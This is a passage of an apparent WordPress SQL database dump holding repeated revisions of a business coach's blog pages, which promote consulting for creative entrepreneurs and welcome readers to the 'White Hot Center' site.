pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nThis consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:34:08', '2012-02-29 19:34:08', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-170/', 0, 'revision', '', 0),
(1954, 2, '2012-02-29 12:49:30', '2012-02-29 19:49:30', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:49:30', '2012-02-29 19:49:30', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-173/', 0, 'revision', '', 0),
(1955, 2, '2011-11-20 15:15:00', '2011-11-20 22:15:00', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\n<h2>I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people like you innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-11-20 15:15:00', '2011-11-20 22:15:00', '', 172, 'http://www.whitehotcenter.com/2011/11/172-revision-138/', 0, 'revision', '', 0),
(1957, 2, '2012-02-29 18:27:44', '2012-03-01 01:27:44', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong></h2>\r\n<h2>I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace. This blog is dedicated to my fellow business leaders in<strong> creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production.</strong></h2>\r\n<h2>If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people like you innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:27:44', '2012-03-01 01:27:44', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-140/', 0, 'revision', '', 0),
(1956, 2, '2012-02-29 18:26:55', '2012-03-01 01:26:55', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\n<strong>entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise.\r\n</strong>\r\n<h2>I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace. This blog is dedicated to my fellow business leaders in<strong> creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production.</strong></h2>\r\n<h2>If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people like you innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:26:55', '2012-03-01 01:26:55', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-139/', 0, 'revision', '', 0),
(1958, 2, '2012-02-29 18:29:50', '2012-03-01 01:29:50', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong></h2>\r\n<h2>This blog is dedicated to my fellow business leaders in<strong> creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.\r\n</strong></h2>\r\n<h2>If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people like you innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:29:50', '2012-03-01 01:29:50', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-141/', 0, 'revision', '', 0),
(1959, 2, '2012-02-29 18:30:59', '2012-03-01 01:30:59', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong></h2>\r\n<h2>This blog is dedicated to my fellow business leaders in<strong> creative disciplines like </strong><strong></strong><strong>marketing, design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, communications, computer games, and music production. I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.\r\n</strong></h2>\r\n<h2>If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people like you innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:30:59', '2012-03-01 01:30:59', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-142/', 0, 'revision', '', 0),
(1960, 2, '2012-02-29 18:32:36', '2012-03-01 01:32:36', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong></h2>\r\n<h2>This blog is dedicated to my fellow entreprenuers in<strong> creative disciplines like </strong><strong></strong><strong>marketing, design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, communications, computer games, and music production. I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.\r\n</strong></h2>\r\n<h2>If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people like you innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:32:36', '2012-03-01 01:32:36', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-143/', 0, 'revision', '', 0);
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(1961, 2, '2012-02-29 18:39:11', '2012-03-01 01:39:11', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong></h2>\r\n<h2>This blog is dedicated to my fellow entreprenuers in<strong> creative disciplines like </strong><strong></strong><strong>marketing, design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, communications, computer games, and music production. </strong></h2>\r\n<h2><strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.\r\n</strong></h2>\r\n<h2>If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself 